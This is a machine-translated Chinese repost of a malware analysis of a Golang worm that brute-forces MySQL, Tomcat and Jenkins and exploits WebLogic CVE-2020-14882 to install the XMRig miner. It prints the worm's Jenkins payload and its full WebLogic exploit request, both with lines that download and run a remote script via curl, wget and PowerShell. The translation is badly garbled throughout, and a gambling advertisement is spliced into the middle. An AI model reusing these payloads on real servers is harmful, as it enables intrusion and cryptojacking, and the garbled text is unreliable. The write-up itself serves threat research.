使用Golang语言开发多平台恶意软件是2020年恶意软件的发展趋势。2020年12月初,研究人员发现了一个新的用Golang语言编写的蠕虫。该蠕虫实验在网络中流传来大规模地运行XMRig挖矿机。恶意软件的目的是Windows和Linux服务器。在老版本中,该蠕虫实验行使WebLogic的破绽——CVE-2020-14882。
研究人员剖析发现,攻击者连续更新C2服务器上的蠕虫,解释恶意软件开发者异常活跃,而且在未来的更新中可能会攻击其他弱设置的服务。
手艺剖析
攻击者使用了3个文件:
· 释放器剧本(bash或powershell);
· Golang二进制蠕虫;
· XMRig 挖矿机。
这3个文件都位于统一C2服务器上。
停止现在,ELF 蠕虫二进制文件和bash 释放器剧本在VirusTotal 中都没有检测到。图1是VirusTotal 对ELF 蠕虫二进制文件的检测效果。
图 1: VirusTotal 对ELF 蠕虫二进制文件的检测效果
恶意软件在Windows和Linux操作系统上的行为异常相似。下面临Linux蠕虫的工作流举行剖析。
Linux蠕虫工作流
蠕虫执行后会检查受熏染的机械上是否有历程在监听52013端口。端口监听器的存在是一个mutex互斥量。若是端口的socket已经开放,恶意软件实例就会退出,否则就会打开一个端口的网络socket。
在老版本中,蠕虫会解压XMRig 挖矿机为Network01到tmp文件夹中,并运行。挖矿机遇使用Go资源嵌入包(go-bindata)嵌入到Golang二进制文件中,恶意软件会使用bindataFile来解压嵌入的XMRig 挖矿机。图2是文件中的函数:
图 2: xmrig_linux_amd64.go文件
恶意软件会使用TCP SYN扫描网络来找到可以暴力破解的服务,并在网络中流传。然后扫描有与这些服务相关的开放端口的IP,Tomcat 和 Jenkins的端口是8080,MySQL的端口是3306,WebLogic的端口是7001。这些破绽行使中在src exp代码下有一个包。
图 3: “exp”包文件和函数
蠕虫使用gopacket库来提供Go语言的C绑定,用libpcap来读取网络包。通过运行pcapc,蠕虫会网络网络数据并继续对服务举行暴力破解。图4是蠕虫暴力破解和实验在Tomcat和MySQL服务上举行破绽行使的效果。
图 4: 蠕虫效果片断
破绽行使后,恶意软件会流传一个加载器剧本:Linux系统是ld.sh,Windows平台是ld.ps1。加载器卖力释放和运行XMRig挖矿机和Golang 蠕虫。图5和图6是加载器剧本。
,欢迎进入欧博开户网址(Allbet Gaming):www.aLLbetgame.us,欧博allbet网址开放欧博allbet网址、会员注册、代理开户、电脑客户端下载、苹果安卓下载等业务。
图 5: ldr.sh –Linux平台的释放器bash剧本
图 6: ldr.ps1 script – Windows平台的释放器 powershell剧本
破绽行使流
下面形貌每个服务的攻击流:
MySql: Port 3306
恶意软件会运行凭证暴力破解攻击。恶意软件会使用硬编码的弱凭证目录,好比root:123456。
乐成上岸后,恶意软件会使用mysql UDF运行shellcode来获取内陆权限提升。破绽行使以十六进制字符串的形式嵌入在二进制文件中。蠕虫对差别的操作系统和架构有差别的破绽行使,设计的系统和架构有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。
运行破绽行使后,payload会用sys_exec 下令来释放和运行加载器剧本。URLWIN 和URLLINUX 保留释放器剧本URL。图7和图8是每个操作系统对应的payload。
图 7: MySQL查询– Linux payload
图 8: MySQL 查询– Windows payload
Tomcat: Port 8080
恶意软件会使用基本认证在管理员面板上运行凭证填充。
图 9: 到Tomcat管理员面板的认证请求示例
乐成实验后,恶意软件会实验部署一个WAR文件,用来传输含有恶意payload的1.jsp 文件。
恶意软件会发送Get请求,并剖析jsp文件 %s/1.jsp?win=%s&linux=%s 的参数。这些参数中含有释放器剧本URL。然后,JSP剧本会释放和运行其加载器。
图 10: 1.jsp文件剧本
Jenkins: Port 8080
与之前破绽行使类似,恶意软件会用口令填充来暴力破解Jenkins 上岸,并运行以下payload:
[email protected]/[email protected] iex(New-Object Net.WebClient).DownloadString(‘%s’)[email protected]@(curl -fsSL %s || wget -q -O – %s) | bash println “%s” ”%s”;def s=new String(Base64.getDecoder().decode(“%s” ”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute() WebLogic: Port 7001
在之前版本中,恶意软件会用最新的WebLogic 远程代码执行破绽行使CVE-2020-14882。恶意软件会发送到WebLogic服务的get请求,并使用GET请求header 作为payload的一部分。
GET /console/css/%%%2%e%%%2%e%%%2%fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread % currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work. WorkAdapter% adapter=currentThread.getCurrentWork();java.lang.reflect.Field% field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible (true);Object% obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI mpl% req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod (“getServletRequest”).invoke(obj);String% cmd=req.getHeader(“cmd”);String[]%% 20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new% String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new% String[]{“/bin/sh”,”c”,req.getHeader (“linux”)};if(cmd!=null{String% result=new% java.util.Scanner(new% java.lang .ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%A”).next(); weblogic.servlet.internal.ServletResponseImpl% res(weblogic.servlet.internal. ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work. getServletOutputStream().writeStream(new% weblogic.xml.util.StringInputStream (result));work.getServletOutputStream().flush ();}currentThread.interrupt();’) HTTP/1.0 Host: %s:%d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: close cmd: ls linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& ) win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
总结
在2020年,研究人员发现许多攻击差别平台的Golang恶意软件,包罗Windows、Linux、Mac和安卓。研究人员以为这一趋势在2021年将会继续。此外,蠕虫的PE和ELF版本代码险些完全相同。
本文翻译自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/: